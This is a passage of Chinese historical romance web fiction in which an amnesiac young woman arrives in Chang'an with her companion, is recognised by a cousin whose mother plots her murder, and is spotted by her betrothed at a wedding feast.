说着俏皮轻快的话语冲散了马车中凝滞的气氛,也让原本在那胡思乱想的江见笑出了声。 “你敢!” 说着,嘴先探了过去,将人闹了一通。 马车轻晃,秋雨拍打着的马车内传来少年少女的嬉闹声,是寒凉的秋雨也挡不住的火热。 …… 抵达长安城时,骄阳正好,正是那位友人婚前几日,七月十七。 因为想快些抵达长安,两人连着赶了五日的路,云桑的身子骨是个不争气的,就算是坐马车里也浑身酸软难受,如今好不容易到了长安,她决定要好好在床上躺一日。 一个盛世王朝的国都果然是与其他任何州郡都不一样的,处处透着大气与繁华,鳞次栉比的商铺让人眼花缭乱。 当然,对云桑来说,这个地方处处透着熟悉感。 她知道自己来对了,她的家果然是长安。 宽阔的足够十驾马车齐头并进的街道上,青石板地面干净整洁,街道两侧尽是些高大粗壮的榆柳,放眼望去,一片坦荡。 甫一进长安城内,云桑便满心激荡地打开了车窗往四处看,想要靠着这些熟悉的景色唤醒自己迟迟不能恢复的记忆。 “就那么高兴,头伸那么老长,也不怕吃一嘴沙子~” 听到车窗打开,江见扭头看了一眼,见少女亮晶晶的眼眸雀跃地打量着周围的一切,里头的欢喜几乎要溢出来。 有次便是这样,云桑没注意到路面是黄沙地,听到外面动静热闹,便探头出来看,正巧一阵强风吹过,害得云桑当时吃了一嘴沙子,至此以后都不太敢探头乱看了。 不过今日不同,就算是要吃一嘴沙子她也要出来瞧瞧。 “长安城的地面哪有沙子,少嘲笑人了!” 云桑瞪了江见一眼,心里还记着当初自己吃一嘴沙子时江见的笑话,不过今日她心情好,就不同她多计较了。 因为连日来赶路的疲惫,两人没有细细寻客栈,而是就近住了个看起来雅致的客栈,长福客栈。 不出意外两人要在长安城住上些日子,不止为了上官大夫的婚宴,更是慢慢给云桑寻亲。 将流云交给客栈的伙计照看,云桑喂了些豆饼和糖便去了定好的房间。 这是一个只有两层的小型客栈,房间也不像那些华丽壮美的客栈那样多,上了楼梯后走几步便是了。 不过这客栈待客倒是周到,从掌柜到伙计都热情体贴挑不出错来,将云桑的交代办的事办得井井有条。 云桑睡了几日的马车,虽然里头也布置得柔软舒适,还有江见这个人形暖炉在,但要是跟柔软宽敞的床铺比起来还是稍逊一筹。 正洗漱着,准备等下就躺被窝里睡一睡,就看江见仍是一副要出门的姿态。 云桑一边抹着脸一边问他,江见没急着立即走,而是坐下等着。 “长安也有听风楼,我去打听打听消息,看看血灵芝目前在哪。” 当时在云阳县,江见买来的消息说三年前有一株血灵芝被益州上贡给了天子,不过三年过去也不知天子有没有享用,或者有没有赐给哪个功臣。 这都需要再探查一遍,江见的身子骨经得起折腾,他准备立即去一趟,将血灵芝的消息拿到手。 只要血灵芝还在,江见便势在必得。 云桑了然,催他赶紧去。 “那你从外面把门拴上吧,你回来就不用吵我了。” 云桑打着哈欠躺进了被窝里,将自己裹成一个球,眼看着就要睡过去,被凑过来的江见猛亲了一口面颊嘟囔了几声。 亲到人,江见心满意足地走了。 第55章 第 55 章 堂妹 放肆地睡了一天后, 云桑恢复了精神气,第二日便拉着江见一道逛长安街了。 与其他州郡不一样,长安是一朝国都, 仿佛整个天下的好物件都汇集到了这里, 一眼望过去缤纷琳琅, 稀奇古怪的。 长安人似乎更爱用牛车作为车驾,也就是犊车, 马车都很少见,公子哥们更是直接驭马穿街而过, 轻衣快马,呼朋唤友, 好不快哉。 秋日要冷许多,云桑出门披上了披风,身上也加了衣裳, 不似江见,仿佛一年四季都只用穿着那一身白袍。 问也说不冷, 还要牵她的手让她感受一下, 果然,他没有说谎, 手心滚热, 使得云桑也跟着滚热。 今日出来一为着逛街,二为着给江见那个即将成婚的友人挑选一份新婚贺礼。 去参加人家的婚宴, 怎么能空着手去呢? 说来有一个好笑的事,江见与那位上官大夫说是友人,然江见只知道人家药王谷弟子的身份,其余一概不知,更不知上官大夫即将迎娶的新妇是谁, 还是经过一番询问才知道个彻底。 上官大夫还是个官宦世家,祖父在太医院当院判,父亲兄弟也都是御医,只他从小被游历的药王谷神医看中,便没有跟着家中一道侍奉皇族,而是学医于山野。 而新妇就更不普通了,是当今亲王之女,祁王幼女金阳县主。 云桑听金玉坊的伙计说,金阳县主爱上官大夫成痴,拼了半条命才将这段姻缘捏在手里,如今终成眷侣也不亏了。 云桑看小伙计一张巧嘴巴拉个不停,有种上知天文下知地理的消息渊博感,云桑动了动心思,悄悄向他打听了一下有关自己的消息。 “有个事情想问小哥,不知近来长安城官员可有谁家寻人的,比如丢了女 儿的?” 云桑的心情有些迫切,如果能问出些什么,她说不定今日便能见到爹爹。 爹爹应当也很急切吧? 想到梦境里爹爹哀伤的模样,云桑归心似箭。 一旁还在挑拣贺礼的江见听到这段悄悄话,也竖起了耳朵听着,同时也生出些莫名的紧张。 若是问出了些什么,那他马上就要见到娘子的父母,他的岳父岳母了。 从前这些词汇只穿耳而过,江见从没什么概念的,如今就要出现在自己跟前,他只觉陌生又局促。 师父的提点犹然在耳畔,有些事情不受他控制,事到如今,江见真的害怕得不到承认。 昨日去听风楼,他也是问过打听过这事的,不过当时听风楼给出的答案并不如意,什么也没有问到。 江见觉得听风楼的能耐也不过如此。 “怎会?从没听说哪位大人的千金丢了的,再说,就算是人家真丢了小姐,也不敢到处嚷嚷,小姐的名声不要了?” “客人真会开玩笑~” 果然,小伙计的回答没能如云桑的意,但至少也解了她的惑。 高门闺秀是最要名声的,若是一嗓子喊出去说丢了,没了音信,就算最后活着回来,那她的清誉少不得也要受损。 一个在外流落多时的姑娘,对大部分人来说,她的清白很难保证。 而这些闲话对云英未嫁的闺阁女儿来说最是要命,云桑想,大概是爹爹为了保全她的名声才死死捂住这个消息的吧,只派人暗中寻觅,已是双全法了。 她忽地又松快了许多,至少不会是找错地方就行。 贺礼不能寒酸,在江见这个小气鬼肉疼的神情下,云桑挑了一对刻着鸳鸯戏水的玉如意,虽然不熟,但是贺新人总不会出问题。 贺礼解决,下面便可以放松身心去玩乐,热闹的街市上,云桑这也想要那也想要,几乎看花了眼。 尤其在吃食上,看着美味的她都想尝尝,但她那个胃又根本盛不下,但好在有江见在,当看见云桑对第一个吃食犯愁时,他便提出了解决的法子。 “娘子尽管买,每个尝几口不想吃了可以给我,我吃得下。” 虽然这样有些不好意思,但确实很合云桑的心意,她只顿了一息便采纳了江见的法子,颇顺心意。 香酥热脆的胡饼她吃了几口,品尝了一番它的滋味丢给了江见,超级大的羊肉串她吃了几块也给他,樱桃毕罗、金乳酥…… 实在太多,云桑也忘记了自己到底吃了多少,又给了江见多少,只知道自己似乎不用吃午饭了。 路过一家首饰铺子时,江见说要同她进去逛逛。 其实云桑一路走来买的钗环首饰挺多的,本不想再破费,毕竟钱多也有花完的时候。 而且经过一番花销,云桑见识了长安的物价,直接高出寻常州郡的好几倍。 譬如一袋份量差不多的糖炒栗子,以前在各州郡大概都在十几到二十多文钱左右,但长安的都在四五十文钱左右。 虽不晓得以前她是什么花销生活,但自打自己有记忆来走遍了各州郡,云桑见识了许多民生风俗,对物价也有了浅显初步的了解。 京城当真是处处繁华奢靡。 “还是不了吧,我之前买的挺多的了,不缺的。” 云桑是背对着店铺的,因此当铺子里走出来人时暂时看不清云桑的面容,只能瞧见她纤细窈窕的背影。 傅文瑛便是此刻从玉色阁里出来的,刚买到自己想要的头面,她面上带着笑意,欢喜之情跃然而出。 这么多年,她觉得此时的自己才是最幸福的,在没有人能压在她头上。 她是傅家唯一的姑娘了。 没了姐姐,别人看向傅家的时候,都只会看见她这个傅家二小姐,傅文瑛。 也许,那个人也会因此注意到自己,看向自己。 联想到这,傅文瑛面上迅速染上红晕,一颗春心躁动,竟久久无法平息下来。 家中的犊车就停在玉色阁铺子门口,傅文瑛在婢女的簇拥下走向犊车,目光轻转的她当即看到了一旁背对着她的少女。 许是自小一起长大,又相伴多年的熟悉感让她仅看着一个背影便思绪纷乱,想起了那人。 脚步木木地跟着婢女往车驾处走,但她那双眼睛仍是直愣愣地看着那道背影,似乎不死心想要看一看那人的脸,确定不是自己想的那张脸,来让自己安心些。 但结果让她失望了,只见对面的白袍少年与她说了什么,少女摇了摇头笑着应了他,被拉着扭过了头。 逐渐放大的瞳孔映出了那张熟悉又如芙蕖般动人的脸,如往昔那般,她浅笑着看着自己,唤自己一声妹妹的神情。 傅文瑛原本红润的面色瞬间白了,买到心仪头面的欢喜彻底消失了,唇瓣轻颤着,似是陷入了什么混乱的漩涡中。 直到自己的异样被发现,她眼看着对方好似无意间往这里看了一眼,傅文瑛僵着脸对上了那双剔透美丽的眼眸。 但那里面没有了往昔的熟稔,而是一片寂静的疑惑,还有面对陌生人的生疏。 “二小姐?” 踏凳已经备好,傅文瑛的婢女芳澜见主子僵在那里不动,她顺着傅文瑛的视线看过去,人也跟着傻在了那里。 “归家,快!” 与那双静谧的眼眸错开,傅文瑛呼吸急促,抓着芳澜的手力道很大,指尖都泛白了,也让芳澜露出吃痛的神情。 作为傅文瑛的心腹婢女,芳澜自然知道此刻该做什么,强忍着惊骇将浑身颤抖的小姐扶上车,催促车夫离去。 傅文瑛此刻不仅要感谢今日只带了贴身婢女出来,更感谢这个车夫是新来的。 迈进车厢中的那一下,傅文瑛几乎是跌进去的,她的双腿实在发软。 “赶车!” 婢女芳澜看出了小姐的异样,强装镇定催促车夫离开。 时间长了,先不提会不会引起那边注意,小姐也要撑不住了。 那一头,云桑刚说完推拒的话,江见便有话反驳她了。 “之前是之前的,现在是现在的,不一样,而且娘子就不想瞧瞧这长安有什么新颖别致的款式吗?” “咱们瞧瞧去!” 被江见三言两语说动了,云桑没有再抗拒,任由江见牵着她的手扭头往铺子里去了。 一转头,不期撞入一双怔忪中的双目,里面是云桑说不清道不明的情绪。 那是个身着桃色锦缎衣裙的姑娘,面容秀丽柔美,打扮虽不似有的长安姑娘华丽精致,但浑身的饰物也是清贵雅致,一看便是有些门第的。 一丝熟悉感快得抓不住,转瞬即逝,再思忖的云桑只觉得她陌生无比。 时不时会有人这样看她,云桑倒也不会太大惊小怪,很快便将目光移开了,同江见往铺子里去。 身后犊车碾着地面的声音响起,云桑知道是那姑娘离开了。 然走到铺子里的时候,云桑回神一想又觉得哪里好似不对劲,总觉得那眼神怪异,同以往所有人的都不一样。 云桑忽地攥紧了手,冒出了个大胆的想法。 不出意外长安是她的生长之地,那说不准长安有不少认识她的人,刚才那姑娘说不定也认识她! 挣脱江见的手,云桑跑出了铺子,但看见的只有犊车远去的影子。 “怎么了娘子?” 见人急色地跑回去,江见忙跟了上来问道。 云桑灰心地望着远去的犊车,恹恹同江见说:“我觉得刚才那个姑娘可能认识我,但是我错过了时机,她走了。” 江见看着带着几分急匆匆味道的车驾,半是安慰半是玩笑道:“如果她真的认识娘子,那还这么一声不吭地跑了,说不准是以前做过什么开罪了娘子的事,所以一看到娘子就溜了。” “没关系,咱们已经在长安城了,早晚会有结果的。” 江见的话生了几分安慰的效果,云桑的心情和缓了下来,不死心,进了铺子询问迎上来 待客的女掌柜先前那个桃色锦裙的姑娘的身份。 女掌柜形貌大气爽朗,也是个十足精明的性子,将云桑与江见两人来回打量了一番,似是犹豫了几息,态度有些不咸不淡。 江见自不必说,他从不是富贵锦绣的打扮,云桑一身倒是体面,但妆发素雅简单的她落入长安这个富贵窝还是不太够看。 尽管那张面容足够出挑,但这不是玉娘做生意的标准。 来了长安虽才三月,玉娘做生意很是老道,一双眼睛很是挑剔,也最会看人下菜碟。 “那位啊,是傅家二小姐,宰辅相公家的侄女,姑娘打听这做什么,可是瞧中了她先前手上的头面,妾身这里可还有几套,不知姑娘可有兴趣?” 说着说着,玉娘便将话题扯到生意上,笑得一脸热情。 云桑没有回应头面的事,只思索起了掌柜先前的话。 并未多想什么,只想着这位傅家姑娘许是认得她,考虑要不要抽空登门去问问。 而江见那边,被掌柜说得头面勾起了兴趣,表示要瞧瞧。 玉娘将信将疑地将方才给傅家二小姐的头面拿了一套出来,就怕对方只是过过眼瘾,根本掏不出钱来。 谁承想,人家满意地点了点头,不仅要了这一套,还另外点了几样烧钱的簪钗耳珰。 瞧见人家付钱时不小心溢出来的银票和金锭,玉娘庆幸自己开始没摆什么惹人嫌的臭脸。 从玉色阁出来的时候,云桑还是止不住地心疼,簪钗虽美,但太多了总觉得奢靡。 街道上车水马龙,人和车都十分客观,好在长安街道足够宽阔,倒不会出现堵塞的情况。 汇入人群的时候,一驾异常华美风雅的车驾缓缓驶过街道,车身四檐缀着流苏环佩,在半空中轻柔晃动,牛身佩戴着金铃,随着老牛的步伐微微作响,声音不大,却引得路过的姑娘接连张望。 长安人皆知,唯有那位英王世子出行是这般风雅动静,尽管定下了婚事,偶尔还是会有大胆的姑娘抛香囊绣帕。 世子是个孤高清静的性子,在女子上从来不见热络,只一个未婚妻会多几分好颜色。 嘈杂的街市上,隐隐传来熟悉的轻灵笑语声,车中人似有所感,车帘被撩起,一双淡如冷泉的眼眸在四下游离,泛起阵阵波澜。 李承钰的目光敏锐地落在了一道穿着火红石榴裙的少女背影上,打量了几息,很快又收回来了。 他真是魔怔了,怎会觉得那人是仪君。 仪君无论何时都会梳着齐整漂亮的发髻,穿着颜色淡雅柔和的衣裙,更不会青天白日下挽着旁的男子的胳膊。 他还没死呢。 也许是这次仪君回去祭祖的时间太长了些,他太久没看见他,产生了错觉吧。 李承钰心里默默想着,随即放下了车帘,将刚才的身影挥出去。 …… 傅宅 傅文瑛一路回到了自家所在的西院,拼尽全力才没让自己失态。 得知母亲在池边喂鱼,傅文瑛急匆匆赶去,甚至都忘了给母亲问安,冲到母亲蒋氏跟前便颤着唇悄悄嘀咕了话。 “娘,我今天瞧见她了。” 蒋氏一开始没注意到女儿的脸色,更是没明白女儿说的是什么,仍悠闲抛洒着鱼食,看着一群呆头呆脑的鱼儿抢食。 “说的什么没头没尾的糊涂话,重新说。” 蒋氏年近四十,但因为保养得宜面上倒没有多少皱纹,那张与傅文瑛相似的面容还保留着年轻时的秀丽,看起来也是个和善的面容,只是眉宇间总带着丝丝郁结。 傅文瑛又靠近了些,也让蒋氏看清了女儿的脸色,是那样的惊惧与颤抖。 “是姐姐,我今日在外面瞧见她了。” 明明白白地听清楚了这话,蒋氏手里的鱼食全然漏了出去,面上的和煦倏然间消失了。 第56章 第 56 章 杀机 蒋氏面色沉静地带着女儿回到自个的院子里, 将房门一关,吩咐芳澜在外头守着,谁也不许靠近。 待到了一个足够安全私密的环境, 蒋氏脸色难看地开口问起了话。 魂不守舍的傅文瑛看着面色冷肃的母亲蒋氏, 像是瞬间找到了主心骨, 开始将今日那惊心动魄的一幕慢慢说来。 傅文瑛还记得姐姐去蜀地后的一个月,那是一个再寻常不过的午后, 出远门的小舅舅来看望母亲,也不知说了什么, 母亲笑了出来。 随后,傅文瑛便听到了让她目瞪口呆的话。 “仪君那丫头不会回来了, 文瑛,你日后会是傅家唯一的姑娘,世子也会看到你的。” 最初的傅文瑛也曾为母亲的话产生心惊愧疚的情绪, 虽然母亲没有明说姐姐为什么不会回来了,但她隐约知道, 一定是母亲趁着姐姐去蜀地祭祀外家时做了些不好的事。 也许姐姐已经不在世间了。 那日悟出这一真相的傅文瑛一夜都没睡好, 心惊胆颤的她甚至在被子里偷偷啜泣。 既为了自己的恐惧,也为了自己并不纯粹的姐妹情。 她的母亲害死了伯父唯一的孩子, 她是母亲的女儿, 她逃脱不了干系。 而且她心里知道,母亲做这一切, 也是为了她。 从小到大,有姐姐在,傅文瑛永远是不会被看见的那一个,包括她深藏于心底的意中人,英王世子, 也只会将目光落在姐姐身上。 偶尔因为姐姐与她说了什么话,看向她,世子可能才会如施舍般地看她一眼。 姐姐是个很出色的姑娘,纵然是在这贵女云集的长安也耀眼夺目,傅文瑛自小便十分仰慕。 作为她唯一的妹妹,傅文瑛得到了姐姐的温柔和善意,她们从小一起长大。 傅文瑛喜欢姐姐,但同时也嫉恨姐姐。 有姐姐在,傅文瑛只能活在她的光环下,被衬托得平庸不惹眼,她更恨姐姐轻而易举便能得到她想要的郎君。 当世子求娶姐姐,二人定下婚约那年,傅文瑛偷偷哭了好几日,眼睛肿得像核桃,只能谎称自己病了不敢见人。 母亲有一双毒辣的眼睛,她什么都知道,一直都知道。 因此傅文瑛震惊的同时也没有觉得很意外,母亲本就不是表面上那般温柔和善。 时间会抹平悲伤,同样也能抹平恐惧。 渐渐地,傅文瑛忘记了自己的母亲为她做了一桩残忍杀孽,开始享受到了甜头。 她从今以后便是傅家唯一的姑娘了,伯父所拥有的权势地位,在婚事上只能倾注在自己身上,尽管她的父亲只是一个六品小官,还是在伯父的照顾下才有的,但傅家的门楣,谁若是想攀,便只能娶她傅文瑛了。 也许,世子也会随着时间忘记姐姐,将目光流连于她身上,亦或者大胆些,他会为了伯父尚书左仆射的权柄将亲事改换成她! 愧疚与惊骇一点点在这些甜头面前消磨,傅文瑛当作看不见伯父的痛苦,一日比一日快活了起来。 她傅文瑛的好时候来了。 但这一切都在今日猝不及防地被打破了,母亲为她编制的美梦碎了一地。 傅文瑛惨白着一张脸,六神无主地半瘫在榻上,只见母亲在她身边坐下,像小时候一样将她揽进了怀中,温柔地问:“文瑛再想想,那时仪君那丫头是什么反应?” 弟弟回来说,那丫头坠崖时扯下了他的面巾,想来是瞧见了弟弟的脸。 就算是怕她发现怕被加害,但能堵到傅允的路径有很多,不该到现在都没动静才是。 蒋氏是个很擅长抓细节的人,既然回来了,为何迟迟没有声响? 被问起这桩事,傅文瑛也被唤醒了当时被忽略的一个关键点,忙应答母亲道:“很奇怪,她就好像不认识我,瞧我的时候只把我当成陌生人。” “而且还同一个公子手牵着手,姿态十分亲昵。” 将这句话翻来覆去分析了个遍,蒋氏悬着的心落下了,最终得出了个结论。 “你姐姐,大抵是落下山崖时撞到了头,失去记忆了。” “既如此,趁着这好时机,娘再送她一程。” 真正听到当初姐姐经历了什么,傅文瑛浑身都瑟缩了一下,心头升起一股矛盾感来。 母亲好可怕,但她都是为了我。 “娘,或许没必要这样,姐姐在外流落这么久,身边又多了个男子,就算回来名节也没了,世子那样的郎君,想必也会退婚,娘不如……” 恻隐之心作祟,傅文瑛最后一丝良心让她想劝劝母亲,但话没说完,就听见母亲在头顶上方的冷笑。 “文瑛,只有死人才是最稳妥的,我们没有退路了。” 一时间,傅文瑛心跳如擂鼓,再不敢多嘴了。 …… 参加上官大夫婚宴的前一晚,江见说自己先去跟对方打个招呼,以免明日在门口还有有一番拉扯。 趁着这个机会,云桑让他把贺礼,那对玉如意也带过去一并给了。 江见都说好,还问她想吃什么,等回来要给她带些回来。 云桑想了想,有些嘴馋昨日吃过的樱桃毕罗,将这桩任务交代给了他。 江见满脸含笑应下,怀揣着好心情离开了。 不仅因为云桑,还因为江见打探到了血灵芝的下落。 三年前被进贡给天子的血灵芝,半年前被天子赐给了御史大夫崔和,此刻正藏于家中内库。 既确定了还在,那一切就好办了,不过这两日有些忙,等上官朔的婚宴过了他便寻上门去。 …… 七月二十,只是秋日里一个寻常的日子,但对医官上官家还有祁王却不是。 昨晚樱桃毕罗吃到饱的云桑睡了一个好觉,带着愉快的心情同江见乘车前往上官家。 上官家的宅子坐落于务本坊,是离皇城最近的一片区域。 医官本不是什么权富熏天的官职,能得这个位置全凭十年前于生死关头救了皇帝一命,圣心甚慰,赐了个务本坊的宅子。 同住这一坊的还有英王一家,可见地段繁华贵重。 英王与祁王是皇家兄弟,侄女成婚自然也会遣人来恭贺,不过两家关系称不上多好,加上李承钰没兴趣参加什么喜宴,尤其与上官院判家也不甚熟络,所以不是他去。 乘车经过上官家门口,李承钰要去尚书台处理昨日未处理完的政务。 他除了是英王世子外,还领着尚书左丞的官职,且为未来岳丈便是他的顶头上司,最近因为陛下那边的事不少,这些时日也正忙于政事,为未来岳丈分忧他很乐意。 李承钰于车中假寐,也不知到了哪儿,他恍惚间又听到了一阵熟悉的笑语声,使得李承钰旋即睁开了眼,伸手挑开了车帘。 昨夜上官大夫给了江见请帖,两人乘着马车到了务本坊上官家。 为了避免人多,撞上最嘈杂拥挤的时候,两人特地挑了一个早些的时辰,辰正时刻便到了。 此刻主家还未开始正式迎客,门口只有两个小厮。 下车时候,云桑想起她们的请帖似乎落在车里了,攥着江见的手下车后,见他头也不回地就要拉着她进去,云桑扬声道:“先等等,我们的请帖好像落车里了,拿一下。” “娘子稍待。” 江见动作很快,闻言便将落在车厢中的请帖带了出来。 也正是那一瞬间,少女身姿轻转,李承钰看清了那张脸。 分明正是自己夜半时分脑海中浮现的那张脸,无一处不熟悉。 极速跳动的心脏告诉自己,那就是她的未婚妻,但下一刻,见到少女亲昵地挽起那个白袍少年的胳膊,李承钰脑子混沌了起来。 他几乎可以确定那就是仪君,可仪君怎会同旁的男子这般拉扯? 她不知道自己还有他这个未婚夫吗? 目光紧盯着相携踏入上官家宅子的那对背影,李承钰终是叫停了车驾。 “停车。” 英王府的车夫张叔正认真赶着车,冷不丁听到身后车厢里传出的清越声音,张叔立即驭停了健牛。 “世子可是有事?” 坐在一旁的内侍冯安立即下车去窗沿边询问,心中有些诧异。 世子半路叫停车驾,难不成有什么东西落府里了? 那可得动作快些,可不能误了去尚书台的时辰,给傅相公留下不好的印象。 谁想冯安的猜测都是多余的,只听车内话语幽幽,做出了一个让冯安万分惊愕的决定。 “突然想起今日是金阳堂妹的大喜日子,作为堂兄理应去恭贺一番,想必金阳堂妹也快被迎进来了,这个时辰正好。” “去同尚书台告知一声,今日要参加堂妹婚仪,就先不去了。” 还没将话消化完,就见世子自己推开了车门,身姿挺拔,长身玉立,一身雪青色映着祥云小团花的锦袍衬得年轻的公子矜贵风雅。 冯安愣了一下,但服侍多年也是个有眼力见的,立即将踏凳放下,让世子下来。 打发人去尚书台知会一声后,冯安小跑着追上了李承钰,面上安静恭顺,心里却在嘀嘀咕咕。 世子跟金阳县主那点稀薄的兄妹情意他可是看在眼里的,起先英王问起世子可愿去时都被他斩钉截铁拒了,如今不仅忽地应了,还是往上官院判家去。 还说时辰正好,冯安望了一眼天色,这时辰可有的等呢。 不过这不是他一个内侍可以多嘴评判的,只规规矩矩跟在世子后面。 上官家的小厮早认出了李承钰,虽诧异但依旧笑容热切地将这位身份贵重的皇孙迎进来。 一个留在原地,一个去禀报家主去了。 …… 喜庆的日子,上官家到处都挂着红绸,三进的宅子打扫得整洁干净,小厮婢女接连穿行其中,忙碌得热火朝天。 昨夜江见便来过,他记性又好,对上官大夫家的路颇为熟稔,也不需家仆带路,带着云桑一路就摸到了上官大夫的院子。 那是今日最热闹的院子,因为新郎官正在此处。 未到迎新妇的时候,上官朔刚穿上喜袍,一身红艳艳的大红新郎袍让本就容色不俗的公子愈发俊秀风流,看着便赏心悦目。 大概是云桑多打量了几息,一旁传来了一道微不可察的轻哼声。 云桑一听,就知道江见这人又开始捻酸吃醋了,真不晓得哪来这么大醋劲。 见江见来,身边还跟着云桑这样一个俏生生的漂亮姑娘,昨夜就在好奇江见口中那个宝贝娘子是何方神圣的上官朔立即就开了眼界。 “江见,没想到你们来这么早,吃早饭了吗?” 走近了瞧,那姑娘愈发让人惊艳,雪肤花貌,鲜妍美好,是无论怎么瞧都让人赞叹的仙姿玉貌。 不过上官朔也只是赞叹一下,觉得这小子到时眼光高,运气好。 “吃了,我娘子不喜欢顶着人多的时候,便赶早些。” 两人都不是会委屈自己肚子的,提前打听了长安街上最有名的几家早食铺子,挑了一个今日想吃的,愉快享用完早饭才过来的。 “那就好,可不能让饿着肚子来参加我的婚仪才是。” 有些牙酸地看着两人人前还要牵着不放的手,上官朔看着少女那张脸,隐约觉得有些熟悉。 多看了云桑几眼,江见立即就察觉到了,一个冷眼扫过去。 上官朔知江见是误会了,忙不迭将心里话说了出来。 “别误会,我只是觉得云桑姑娘好像在哪里见过,但究竟在哪是想不起来了,你也知道的,我除了药王谷便是四处跑,许是记错了。” 听前半段,云桑心中意动,猜测上官大夫许是在长安见过,但后半段一出来,云桑又将心事咽了回去。 江见好似也说过,上官大夫久居药王谷,一年可能就回一次长安,常年跟着莫神医钻研医道,对长安官宦家的姑娘能有多少了解呢。 怕是刚才说的熟悉感都是错觉了。 云桑心中默默叹息了一声,但想着长安城那么多人,总有认识她的,譬如那个傅家二小姐,她机会大着呢。 身为今日的主角新郎官,上官朔很是忙碌,便不能招呼她和江见,只让他们随意在宅子里转转,还点了身边机灵的小厮陪同 ,不过江见记路倒是在行,嫌小厮打扰他与娘子的独处时光,没一会就打发到一边去了。 也许是医官家的宅子,宅子里的空闲土地没有种那些供人观赏的花卉,而是一片片药田,空气中都带着些隐约的药味。 两人悠闲地逛着,却不想遇到个意外的熟人。 黑衣剑客远远瞧见了云桑二人,大跨步朝着这边来了,那姿态,和上回纠缠人的架势没什么不同。 如江见那身鲜亮的白衣一样,那身黑衣也足够显眼,江见一眼瞧见后下意识就想扭头走,但拖着云桑这个慢的他跑不掉,很快就被独孤羽追上了。 “你跑什么,我又不找你比试。” 将人追上,独孤羽满脸诧异,有些一言难尽。 江见忽地想起他们之前定下的规矩,见独孤羽还算守信,放下了悬着的心。 上次江见可真被搞怕了。 “算你知趣。” 江见再度恢复了悠闲,好奇问他道:“你怎么也在这?” 独孤羽沉声答道:“自然是参加友人的婚宴。” 此间的新郎只有一个,那便是上官朔,江见狐疑道:“你也救过他的性命?” 他与上官朔相交的开始,便是因为他在山匪手中救过弱不禁风的他,莫非独孤羽也是如此。 江见觉得很有可能,毕竟上官朔那人明明功夫不怎么样,还喜欢云游四海,看着就是容易遇着事的。 “他救过我的命。” 静默了一会,独孤羽淡声回道,江见扯了扯唇角。 “好吧。” 没聊几句,独孤羽便被江见打发走了,江见又凑到了云桑跟前,两人发现了一个秋千,云桑被推着荡了一会。 “等日后回了云桑谷,我也给娘子做一个秋千。” 少年轻快带笑的话语顺着风钻到云桑耳中,她看着自己飘扬的裙裾,也欢快地应声。 “好啊,那个秋千上记得插上云桑花~” “放心好了娘子!” 鞭炮声响起,两人知是上官大夫迎新妇回来了,也不荡秋千了,忙赶过去瞧。 一对新人在无数恭贺话语中走入厅堂,云桑同江见跟着先前的小厮在宴席上落座,同江见相牵的手还未撒开,一抬眼撞入了一双幽深复杂的眼眸中。 那是一个俊美出尘的年轻公子,紫袍玉带,环佩叮当,只静静端坐在那里,都让人无法忽视。 云桑分明是第一次见他,却觉得似曾相识。 第57章 第 57 章 仪君 一腔热血跟着“仪君”踏进了上官院判家, 李承钰一路走来都没有看见她,犹不死心,又让冯安去门口小厮那里打听了一下。 冯安方才错过了黄金时刻, 自然也没有看到李承钰所看到的, 只觉得世子这个要求更是古怪, 但他二话没说去打听了。 然未打探到什么有用的消息,只从小厮那得知方才那对少年人是他们家三公子的江湖朋友, 也不知两人是何种关系,只是特来观礼的。 仪君自不可能是什么江湖人氏, 也不可能认识什么江湖人氏。 可那张脸实在像极了她,李承玉甚至不能哄骗自己那只是跟仪君有几分相像。 除了双生, 世上哪有两个人会像得这样厉害。 想起方才两人间如小夫妻一般亲昵的行为,纵然如今根本不能确定那个姑娘的身份,李承钰心里都堵得厉害。 这就是在意一个人的感觉吗? 就像是曾经在宫中读书的时候, 他作为皇孙,她是熙宁小姑姑的伴读, 李承钰每每瞧见有其他兄弟同她搭话, 都胸腔堵塞难言。 既是他那堂妹夫的江湖朋友,那询问其他人想必也是不知的, 只能等着人出现自己再确认一番了。 念此, 李承钰耐心地待在上官家专门接待贵客的花厅内,轻嘬着他们家最好的君山银针, 面上虽幽静自然,但藏在胸腔中的那颗心却不安生。 委婉地打发走在这里被迫殷勤招待他的上官家二公子,独自等待宴席到来。 既是来参加婚宴的,那届时她一定会出现,他只需守株待兔便可。 为了便于观察, 李承钰早早落座于宴席上,位置自然是最好的那一块上宾席,什么人过来他都能瞧上一眼。 终于,就在李承钰开始有些厌烦这嘈杂的环境时,人群中一抹鹅黄色出现,那张他千呼万唤的脸终于出现了,只不过她身边还是有个紧追不舍的白袍少年。 是个模样十分出色,性情疏朗爱笑的小公子,若是生在世家,仅凭着这副品貌大概都能得无数闺阁女子芳心,可惜了是个江湖草莽。 但就在眼下,这个江湖草莽正紧攥着旁边那个像极了仪君的少女的手,如胶似漆地在一处不远不近的地方落座。 少女一直在笑,面颊上浮现出两个浅浅的梨涡,与仪君的没什么不同。 倏然间,那双弯弯如月牙的眼眸抬了起来,与一直深凝着她的李承钰对上,四目相接。 那一瞬,落着细密小雨的湖面陡然雨势变大,甚至开始迎来雷声阵阵。 似有银色闪电划过苍穹,刺着李承钰的双目。 只是一瞬间的对望,李承钰便知,那双眼睛到底属于谁。 可奇怪的是,在看向自己时,仪君的眼眸是全然的陌生,还有对他看过来的茫然。 这更像一个陌生的姑娘,但矛盾的是,李承钰笃定她就是仪君! 确定的那一瞬,李承钰接踵而来的便是一串串疑问。 仪君不是去蜀地祭奠外家了吗? 上次问起傅公,明明傅公也是如此态度,但人怎就突然出现在上官家的婚宴? 李承钰不记得傅家同上官院判家有什么往来。 再退一步,既从蜀地回来了,为何不归家? 最重要的一点,李承钰看向正给仪君整理额间碎发的小公子,心再静不下去了。 仪君身边那个少年又是谁,她们又是什么关系? 李承钰想知道,但又害怕知道。 因为那是她过了大礼的未婚妻,未来的世子妃,乃至王妃。 目光一触即消,仿若自己只是无意间视线相接的普通人,没有半分停留。 李承钰怔怔地看着,甚至忘了将视线收回,被旁边的少年察觉到,不客气地瞪了回来。 直白的、锐利的、宣誓领地的眼神。 同为男子,李承钰除非瞎了才会不懂其中的意思。 摩挲在腰间玉珏的手掌青筋乍现,一眼瞧上去有几分狰狞,让人一看便知主人的怒意。 冯安此刻再没了先前的疑惑和淡定,甚至还趁着世子没瞧见双手揉了揉眼睛,以为自己没睡醒在做梦,竟在上官院判家的婚宴上瞧见傅家大小姐,还和旁的野男人在一起卿卿我我,当着他们世子的面! 哎呦喂,可吓死他了! 